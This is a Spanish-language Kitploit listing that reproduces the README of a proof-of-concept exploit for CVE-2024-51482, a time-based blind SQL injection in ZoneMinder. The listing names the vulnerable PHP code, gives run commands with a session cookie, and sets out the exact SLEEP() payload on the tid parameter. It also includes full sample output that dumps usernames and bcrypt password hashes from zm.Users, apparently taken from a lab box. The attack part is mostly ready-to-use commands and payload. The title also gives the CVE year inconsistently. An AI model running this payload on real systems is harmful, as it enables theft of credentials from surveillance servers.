Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-51482 — CVE-2025-51482 PoC, Volcar credenciales de zm.Users | Kitploit
Herramientas/GitHubGitHub/c0gnit00/cve-2024-51482
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 PoC, Volcar credenciales de zm.Users

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-51482 — Inyección SQL Ciega Basada en Tiempo en ZoneMinder

Un exploit de prueba de concepto para CVE-2024-51482, una vulnerabilidad de inyección SQL ciega basada en tiempo autenticada en ZoneMinder v1.37. ≤ 1.37.64*.

El script extrae nombres de usuario y hashes de contraseñas de la tabla zm.Users mediante búsqueda binaria (bisección) sobre un oráculo basado en SLEEP().


Vulnerabilidad

El controlador removetag en web/ajax/event.php parametriza de forma segura una consulta DELETE pero luego interpola directamente la entrada controlada por el usuario en un SELECT subsiguiente:

root@kitploit:~
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId proviene directamente de $_REQUEST['tid'] sin saneamiento, lo que permite la inyección a través del parámetro tid.


Requisitos

  • Python 3.8+
  • requests (pip install requests)
  • Una cookie de sesión ZMSESSID válida de una cuenta de ZoneMinder con sesión iniciada

Uso

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

Argumentos:

  • --url — URL base de ZoneMinder (ej. http://cctv.htb/zm) (obligatorio)
  • --zmsessid — valor de la cookie ZMSESSID (obligatorio)
  • --sleep — segundos de espera para inferencia basada en tiempo (por defecto: 3)
  • --timeout — tiempo de espera de la solicitud en segundos (por defecto: sleep + 3)

Ejemplos:

root@kitploit:~
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

Obteniendo la Cookie de Sesión

Inicia sesión en ZoneMinder, abre las DevTools del navegador (F12) -> Aplicación -> Cookies, y copia el valor de ZMSESSID. Alternativamente, intercepta cualquier solicitud autenticada en Burp Suite y extráela del encabezado Cookie.


Salida

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

Cómo Funciona

  1. Línea base — envía una solicitud limpia tid=1 para medir el tiempo de respuesta normal.
  2. Confirmación — inyecta SLEEP(2) y verifica que la respuesta se retrase ≥2 segundos.
  3. Conteo de filas — busca binariamente COUNT(*) en zm.Users para encontrar cuántas cuentas existen.
  4. Extracción — para cada usuario, busca binariamente el valor ASCII de cada carácter tanto en Username como en Password (~7 solicitudes por carácter frente a 95 para escaneo lineal).

Estructura del payload:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 es necesario porque el DELETE seguro antes del SELECT vulnerable lanzaría un error 500 sin él, abortando la ejecución antes de que se alcance la inyección.


Referencias

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

Descargo de Responsabilidad

Esta herramienta es solo para pruebas de seguridad autorizadas e investigación educativa.
Siempre obtén permiso explícito por escrito antes de probar cualquier sistema que no poseas.
El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por este software.

Descargar herramienta